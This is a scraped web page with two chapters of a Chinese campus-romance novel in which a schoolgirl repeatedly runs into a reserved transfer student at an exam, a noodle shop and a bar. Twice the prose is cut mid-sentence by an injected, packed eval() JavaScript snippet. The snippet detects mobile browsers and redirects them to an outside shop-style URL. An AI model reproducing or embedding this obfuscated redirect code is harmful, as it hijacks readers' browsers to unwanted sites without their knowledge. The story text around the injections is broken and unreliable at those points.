《薄荷海岛》 3. 薄荷 到了考试当天,金鱼比平常提早了半小时出门,学校离家的距离坐公交只需要等六站就能到达,刚上高中那会儿,蔡晓霞为了让女儿能更快的融入集体,打算给金渔连带宿舍费也一起交了。 金渔没答应,最后还是用只要坐六站公交就能到校的理由,拒绝了蔡晓霞安排的高中宿舍生活。 等到了校门口,金渔按照准考证上的考场号,轻车熟路很快找到了对应教室。 她看眼手表,时间还很充足,作为考场的教室门还关着,门口却早已经站满考生。 金渔边说着“让一下”边挤进堵在门口的考生,仔细对照贴在墙面上的考生名单,在纸上找着自己的名字和证件照。 “看到名单上那个帅哥了没,高一一年我都没见过这人。”身后有女生悄声和她旁边的好友嘀咕,“真的好帅。” 女生越说越激动,语气是控制不住的兴奋,“要是他能和我分到一个班就好了。” “得了吧,他一看就是会选理的,你见过我们文科班有男生的吗?”另一个女生和前面那位相对还算是冷静,但还是在话语之间能听出有些许期待。 她说着,伸出手开始掰手指数起来,“两只手能数的过来就已经是奇迹了,文科班的男生和国宝一样稀有。” 金渔听着她们之间的对话,出于好奇心,在确认完自己就是这个考场的考生后,去寻找那位“帅哥”。 她从头往下找,终于在最后一行看到那人的名字和证件照。 在看到照片的同时,金渔有些震惊。 原来,那天在烧烤店遇见的那个男生,也是高中生。 证件照拍的很随意,她的照片是学校统一在高中入学后的第二周,安排新生集体去拍照。 班主任特地提前和她们通知过,说是整个高中三年都会用这张刚入学的证件照做未来所有考试以及重要场合的必需品,让大家好好打扮打扮。 到了正式拍照那天金渔穿的很正式,合身小西装打上黑色的领结,因为军训刚结束,原本的长发被金渔开学前去理发店专门剪短,拍照这天蔡晓霞顺手给她扎了两股拳击辫,还久违的拿了自己的素颜霜稍微往脸上抹了点,脸颊红润白皙。 金渔全部准备完毕,等轮到她正要端正坐在蓝色背景布前展示私底下练习了好久的完美微笑。 可结果她连屁股都还没沾上座椅面,架好的摄像机闪光灯骤然闪起,时间紧人又多,摄像师拍完金渔转头喊下一位学生到前面来。 和她那张眼神呆滞的照片相比,俞栖迟的证件照更正式多了,能看出来是办理入学手续时照的。面容冷淡疏离,上挑的桃花眼眼神淡漠疏离 她沿着照片,手指尖缓慢向右滑动,名字随之映入眼前。 俞栖迟。 周围议论声此起彼伏的响起,中间带点惊叹的倒吸声。 金渔没在意,直到大块黑影从后把金渔整个身体笼盖住,头顶伸来她这才转身,给后来的同学让路。 小声说:“不好意思。” 她们的考场教室正好在走廊的兜风口,夏风吹拂,裹挟着淡淡的冷冽皂香,不是很难闻,清清爽爽的浸满了她的呼吸。 金渔稍抬眼睑,在看清楚来人是谁的同一时间,意外撞入低头看向她的视线中,两两相望,那双深邃的眼眸像是津了墨,深不见底。 和那晚在楼道间撞上的感觉一样。 可能是被盯久了不舒服,俞栖迟迟迟没等到让路,只好率先开口。 他忍着不耐开口,声线沉澈,“能借过一下吗?” 金渔这才回过神,耳尖瞬间因为盯着面前人这种不太礼貌的举动而微微泛红,抬脚往左边挪了一大步,给俞栖迟让出刚好能够站下一个人的空间。 好在监考老师这时候抱着试卷走来,招呼众人有秩序开始排队进教室,大家紧张接下来将要面临更重要的事情,没人再去多管刚刚发生的小插曲。 金渔排在队伍的最后,缓慢挪步进教室,找到自己的座位,不去多想其他无关紧要的事情。 考试总共一天时间,安排的很紧凑,上午两场下午一场,早上的文综和数学金渔有十足的把握能拿下,至于下午那场力所能及吧。 等监考老师收拾完试卷走出教室后,还坐在座位上不敢懈怠的众人,在同一时间默契般长舒口气。 考场内有互相认识的,已经三三两两聚成一团讨论自己填写的答案内容是不是对的,校对到都写的同个答案的时候会一齐欢呼,要是答案互相对不上,几个人拿出准考证翻到背面空白部分写下过程推断,认真研究。 金渔没有考后去和别人校对答案的习惯,对了就是对了,错了也改变不了最终结果。 还不如顺其自然,结束多放松放松脑子。 她把水笔盖好笔盖,和准考证以及透明文件袋一起放在书桌的右上角,双手举起伸直,身体往后微仰,伸着懒腰。 余光瞟见和她并排坐中间隔了一条过道此刻正趴在桌上睡觉的俞栖迟,显然教室里的吵闹不足够打扰到他的睡眠。 金渔想到那把还躺在家里的雨伞,等开学的时候就还回去吧。 俞栖迟感觉到炽热的视线注视着自己,想忽略都难。 他小幅度的偏了头,目光迎上金渔,他懒得抬头,只是将枕在手臂上的位置换了换。 少年声音很轻,“有事?” 金渔没想到他会没有任何预兆的转头,来不及收回视线,只好硬着头皮接话。 “额......”金渔脑子在疯狂想要说什么,嘴上下意识开口,“开学的时候,可以麻烦你帮忙把那把雨伞还给你朋友吗?” 像是怕他以为这么多天才还雨伞是舍不得,金渔着急解释,“我第二天去那家烧烤店把雨伞给老板娘保管过,但是一直没等到你们再来,就又把雨伞还给我。” 她见俞栖迟没说话,担心是不是真的被他们认为是喜欢占小便宜的人。 有些懊恼,早知道当时就应该态度坚定拉住那个男生,把微信加上,还能及时把伞还了。 俞栖迟不是不想说,只是他真的记不起来借出去了什么。 俞栖迟蹙眉想了想,这才想起上周江序拉他出来吃饭,把他的伞借出去英雄救美。 一把雨伞而已,还不至于一直念着。 “不用。”他说话懒洋洋的,话里带着浅浅的倦意。 他说完,没再等金渔再次开口,把话丢出去后扭头窝进臂弯接着补觉。 连续一周的调班,他现在只想好好睡一觉。 金渔见他不想多说话,没再去打扰,还是等有空再去烧烤店让老板娘帮忙给一下吧。 拿起收拾好放在一起的透明袋,打算去楼下考场找钱可可解决午饭的问题。 “栖迟!走我们吃饭去!”江序闪现门口,和正好同一时间走到那的金渔打上照面。 江序惊喜,“小美女,好巧,原来你也是三中学生啊。” 金渔也没料到,这人运气好起来能幸运成这样。 来得巧不如来得早,也不用让她多跑一趟麻烦别人了。 她招了招手回应江序,“你的雨伞还在我那,等开学还你。” 江序摆手,“雨伞而已,而且那伞也不是我的,你要是用着顺手就自个儿用,反正它的主人一年也用不到它几次。” 金渔愣了愣,觉得还是得还给人家。 “借过。”身后男生清冽的声音响起,俞栖迟走出来,越过金渔往外走。 江序指了指走在前面的俞栖迟,回头对金渔说:“雨伞是他的,你要是想还,直接给他就好。” “要一起吃饭吗?人多热闹。” 金渔摇头拒绝了江序的好意,微笑勾唇,“不了,我和朋友约好了。” 趁着下午考试时间迟,金渔拉着钱可可去了校外的面馆吃饭。 学校食堂其实也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584660|205184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在今天安排午饭给学生,但大多数还是会喜欢出校,好不容易有一回可以自由进出学校的机会,没人会愿意去吃早就吃腻了的食堂,而是更喜欢到外面的快餐店或者饭馆吃饭。 金渔和钱可可两人一路上紧赶慢赶,到了面馆还是去晚了,碰上隔壁经济园员工下班吃饭,等到了面馆门口,一眼望进去里面已经坐满了午休吃饭的上班族。 “啊......还是来晚了。”钱可可像霜打的茄子,蔫儿了吧唧的挂在金渔肩上,嘴里嘀嘀咕咕好多句。 “早知道,我考最后一门就提早交卷了,这家店我可是念了好久的。” 金渔背手去摸她的头安慰,“我们在外面等等就好,吃面很快的,离下午考试还有两小时,足够了。” 中午正是阳光最毒辣的时候,热风穿过路边的树梢,带起树叶翻滚的沙沙声,吹进衣袖仿佛热浪滚过,带不走一点炎热,反倒像俏俏捏紧衣领的热手,让人更加难耐。 金渔坐在老板布置好的大排风前,老式排风吱呀吱呀转着风扇脑袋,叶片一圈圈扫过空气,把热风揉碎成带着点凉意的冷风,吹得门外用圆桌上用来清洁的红色塑料袋疯狂颤动。 钱可可终于回了些血,低头用额头轻靠在金渔后背,逛着最近喜欢上的一位男明星的超话。 “啊!”她像是想到了什么,突然小声叫了一下。 还在等呼号机叫到自己的金渔被吓一跳,“怎么了?” 钱可可放下手中的手机,起身屁股也不挪开座位,连着椅子绕过坐在身边同样等待叫号的其他客人,搬到金渔面前。 “我听学生会的那群人说,你考场里那位转学生是海市那届中考的市数学状元。” 钱可可是学校青年志愿者协会的成员,和学生会也会有比较近的交流,两边平时对接工作内容为了方便就直接拉了个大群。 毕竟大家都是同学,除了日常的工作交接,还会在群里聊些杂七杂八的,一来二去学校的第一手八卦都会在她们群聊先知道。 钱可可又是藏不住事儿的,有新鲜八卦,第一时间都会告诉她,金渔也默默成了那个群聊的编外人员。 她边说边在大群里翻着聊天记录,“所以洪老头特别重视这位转学生,刚开始他还想直接给安排进理科重点班的,还是那位转学生说想要跟着学校的步子来,不搞特殊化。” “够爷们,够汉子。” “那可是海市诶,大城市谁不想一直呆在那,而且还是个状元,教师资源比我们小城市要优渥多了。” 金渔回想起俞栖迟那双空洞到深不见底的墨黑眼眸,让人猜不透情绪,仿佛藏着很多秘密。 “后面我们还想问为什么他留着拥有这么好的教师资源的城市不读,偏偏转来我们宜城读书,可结果是没人知道原因。” 她说话停顿了几秒,语气带着遗憾:“不过这也是别人的私事,要是真被我们都打听到了,才是真可怕的。” 钱可可说话的声音很轻,是能刚好让金渔听清楚的音量。 时间刚刚好,钱可可讲完她目前知道的八卦,呼号机在这时候叫到了她们的号码。 金渔和钱可可在点餐区选好要吃的面类,掀开门帘准备进屋。 好巧不巧,撞上已经吃完准备回校的俞栖迟。 前一秒还在讲着八卦的主人公,此时正站在她的面前。 俞栖迟视线轻轻扫过她,眼睛黑漆漆的,站在金渔面前,白炽灯直直打在他身上,衬得皮肤比其他男生要更加白皙。 俞栖迟没多做停留,他微微侧身绕过金渔身边,与她擦肩而过,头也不回的往店门口离开。 金渔微微心虚低头,明知道他不会听见刚才的聊天,但还是会因为良心过不去,只是简单和江序打了声招呼,脚下步伐不由得加快,绕过俞栖迟身边拉着钱可可往里走,找空位坐。 对此她得出一条定律,背后聊八卦,还是要少些为妙。 4. 薄荷 考试结果出来的很快,金渔滑动班主任发在班群里的分班表,意料之中她分到的是文科重点班,其实班级的人员变动不是很大,除去考到理科班的同学,并没有新同学被分到她们班。 她们班从高一开学就是按照未来文科重点班进行培养的,也省了重新拉班群,适应新环境和认识新同学。 班主任刘国涛在发完分班表后又发了几条例行通知,大致就是嘱咐大家暑假还剩三天就结束,让她们收收心,高二是所有人需要紧张高考的开始。 有几个平时会来事比较闹的男生紧跟在刘国涛屁股后面发言。 [风里雨里,我们继续在五班做好兄弟啊] 有人带头起哄,其他人也跟着在群里复制粘贴。 金渔觉得好玩,随便复制了其中一条发送。 [谁要和你们做兄弟啊,我还要毕业呢,跟着你只会影响我答题的速度] 有女生出来揶揄,最先带头喊口号的男生据理力争和她斗起嘴,其他人都很识趣没再说话,大家心里都门儿清的很。 一个文艺委员,一个体育委员,就像所有小说写的一样。 友情以上,恋人未满。 最伟大的暧昧期。 图书馆里的空调温度开的很低,冷气吹进宽大衣领里,让人瞬间激起一层鸡皮疙瘩。 还好她今天出门为了防晒,拿了件薄衫遮阳。 还剩三天开学,今天钱可可专门带上她去图书馆找辅助教材,用钱可可的原话来讲,那就是“总要比别人多努力些,这样800米跑步也会更轻松更快。” 钱可可好不容易在书架最高层找到还算心仪的教材书,低头看着梯子台阶,小心翼翼慢慢往下爬。 “小鱼,这本教材我在上届学姐那问来的,她说巨好巨有用。”爬到最后一节台阶,她直接跳下来稳稳落地,把那本书递给金渔。 “这有两本,正好我们一人一本分着看。” 金渔看了眼手中的教材,书本封面已经被翻的皱巴不堪,看来有很多同样和钱可可一样的人慕名被推荐来找过。 她简单翻了几页,里面的内容确实都是有用的知识点,但她并不喜欢被条条框框束缚住的文学,更喜爱自由有属于自己风格的文字。 没继续往下翻,把手中这本放回书架中间摆好,省的又要爬上爬下忙活半天去拿。 “我和你看一本就行,这么厚我可看不完。” 钱可可比划两下教材的厚度,点点头确实太厚,一个人也看不完。 “晚上开学前的聚餐还记得吧。”钱可可看书就没坚持过半小时的,这半小时里又是玩手机又是无聊在白纸上画小人。 金渔食指拇指轻捏书页一角,在笔记本上记好对她来说是要着重圈起来的知识点,轻声回答:“嗯,出门前和我妈说了,等会儿时间到就和你一起去。” 这次聚餐提议由班里那几位最会闹腾的男生组织,上周考完试就在群里发了群问卷,让大家把想去的餐厅填上去,最后一起投票抉择最终的聚餐饭店。 夕阳落山,天色渐渐暗了下来,暮夏的晚风徐徐吹来,格外清爽舒适。 从图书馆出来,聚餐的场地离这比较远,金渔看了眼时间,已经很迟了,这时候再坐公交到餐厅也来不及。 她只好手机上叫了辆车,等到目的地已经半小时后。 再往前,单行道很窄,只能够一辆车开过,但路口两边全部停满整排电动车,空间明显缩小到只能两部小毛驴进出,司机没办法,在路口把金渔两人放下。 金渔往里走三百米很快就到。 聚餐的场地是在一家叫“三川”的清吧,起先还有人问把地点安排在这里会不会不好,毕竟大家都还是未成年,来酒吧本就不好,现在还乌泱泱一片往里面挤。 有人了解这家店,给还在犹豫的同学做简单科普。 虽说是酒吧,但又因为从开店到经营,一切都非常合法合规,不只有大人喝的酒,还有专门提供给小孩的吃喝饭菜,经常会有像她们一样的高中生来店里吃饭 金渔也是今晚头一次来这里,店门的装修很简洁,黑色木门,用原色瓦砖砌起的墙面没有刷上油漆,整片墙面爬满了爬山虎。 她没多看,手机响起提示音,全部人都到了,就剩她们还没到呢。 “终于来了,给你们发消息也没回,真怕你俩不来。” 大厅两个隔间连着,可能是老板见同行的人有些多,特地把用来隔开两个隔间的屏风撤走,两间合并成为一间。 钱可可拉着金渔坐进空出来专门留给他俩的空位上,对刚才开口打趣的男生接话,“我们俩不来,你就不吃饭了?等下别整桌就你吃的最多!大胃王。” “吃的多也是福,小鸟胃,我点了烧鸟,你别吃。” 金渔伸手拿了串面前的提灯,两颗黄色和鸡蛋蛋黄没熟透一样的感觉,让她有点不敢下嘴,眼睛盯着看了好久,努力建设心理防备。 “小鱼,直接吃就好,口感和蛋黄酱类似。”钱可可没再和对面的男生互呛,也从盘子里拿了串提灯,快速放入嘴中,嚼了嚼咽下去。 “实在下不去嘴,眼睛一睁一闭,看不见长什么样就能下嘴了。” 最后金渔还是没有下得去嘴,把这串提灯俏俏放在钱可可碗里。 饭过中旬,有女生从包间外回来,脸上挂着笑,坐回位置,和身边另一位女生兴奋开口:“外面有个小帅。” “真的假的?早知道就让黄琰炜不订隔间了,直接在大厅吃。” 周围有人听到谈话,也跟着加入,“我在美团评论区就看到了,有人评价这家店有位超级帅的小帅哥,等会儿我们出去走一圈看看去?” 那边聊的激动,金渔堪堪只夹了几口菜。 她想喝点清爽的,桌上全是高油高热量的食物,一个月后就是秋季赛,不能太过于放纵饮食,不然又要加训。 和钱可可说了句自己去外面吧台,饮品种类很多,酒水,小甜水都有,金渔选择不下,只好点了杯薄荷水喝喝。 “三号隔间,气泡茉莉苏。”熟悉的清润声线在耳边响起,金渔喝水的动作顿了顿。 金渔眼睑微垂,视线顺着搭在台面上的手,手指瘦削而修长,骨节分明,指尖轻轻压住一张小票,往吧台里推过去。 再缓缓往上移,衬衫的衣袖被他随意挽起,露出一节比大部分男生还要冷白的小臂,青色的血管隐隐凸起在皮肤下,性感好看,原先还是快要盖住眼睑的刘海,早已经被他剪短,露出微微上挑的桃花眼。 她有些惊讶会在这里遇见俞栖迟。 感受到一旁的视线,俞栖迟浅瞭了一眼,没搭理她,和调酒师再次嘱咐不要忘了三号房的饮品,转身接着忙手上的工作。 金渔收回视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584661|205184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,暗调的橘黄灯光摇曳浮动,带着星星形状的光线落在薄荷水里。 来这喝酒的客人三三两两落座在大厅,搭好的小舞台上,抱着吉他轻靠在长凳上的驻唱歌手,垂眼唱着低沉悠扬的民间小调,暧昧和缓。 吧台内调酒师雪克杯甩出花来,在他第不知道多少次目光飘向金渔后,开口:“美女,你们认识?” 金渔被他突如其来的询问没反应过来,疑问回答:“谁?” “就刚刚那个来催单的。”调酒师朝俞栖迟离开的方向轻抬下巴。 “我们是同校的。”金渔坦然说。 调酒师对她这话像是有些曲解,了然点头,把手上摇好的鸡尾酒倒进准备好的酒杯里,放入一片薄荷叶。 金渔这话说的也没错,她和俞栖迟在同所学校上学,不是同班同学,也是同校同学。 她对自己的解释非常认同,抬眼看了眼调酒师。 但是眼前这人好像误会了什么。 “他在我们这还挺受欢迎的,也算是一块移动的活招牌,长得帅做事效率又高。”他啧啧嘴,而又遗憾,“就是不爱说话,一个人独来独往的,有几个胆子大的女生找他要微信,全被拒绝了。” 金渔听着调酒师絮絮叨叨讲话,状作认同般点头,“是挺帅的。” 但不是她喜欢的帅哥类型。 她喜欢迪卡普里奥那种类型,仅限年轻版。 调酒师把那杯制作好的酒杯食指中指轻推向金渔,“这杯是那个3号隔间的,我这走不开,帮哥哥个小忙,送一下。” “要是需要联系方式,我这有,就作为帮忙的小奖励。”他伸手指了指左边走廊,“三号房在走廊尽头。” 金渔听完连连摇头,语气急切证明自己的清白,“你误会了,就是简单的同学关系。” 调酒师了然浅笑,一脸我都懂的表情看向她。 来这的女生,十个里有八个会因为在吃饭途中看见俞栖迟来找他问微信,他估摸着面前这小姑娘也大差不差,不过是面子薄,害羞了点,不敢主动找本人。 金渔懒的多做解释,说再多也只是会被认为女孩子害羞不敢承认,赶紧帮人把酒水送过去就走。 她端起餐盘,盘子并不重,但她不是专业的员工,没有他们核心般稳定的平衡感。 酒杯里的鸡尾酒倒的很满,金渔注意力全部放在左右摇晃激烈的酒水上,小心翼翼挪动脚步,走三步停住稳定水平面不让酒水洒出来。 走廊两边挂着几副用画框裱起来的素描,金渔仔细手上酒水不洒的情况下,粗略瞟了一眼,线条细腻流畅,画手的功力早已练到家。 短短一条只要四五步就能走到尽头的走廊,金渔小步挪着前进用了差不多一分钟的时间。 金渔稍稍抬眸,就见最里面的包房门口,俞栖迟站在那,面容冷淡低着头,昏黄灯光下高挑清隽的身影卓然而立。 他似乎不是很忙,闭眼微眯后背轻靠墙面休息。 金渔把盘子放在门口小桌上,如释重负长舒口气,侧脸看了眼早已睁眼的俞栖迟。 他轻轻开口,带着一点鼻音,“怎么是你来送?” 对上他不解的眼神,金渔解释说:“外面太忙,让我帮忙送一下。” 俞栖迟上前,轻而易举就把盘子单手端起,稳稳拿在手中。 开门前,轻声对金渔道了谢。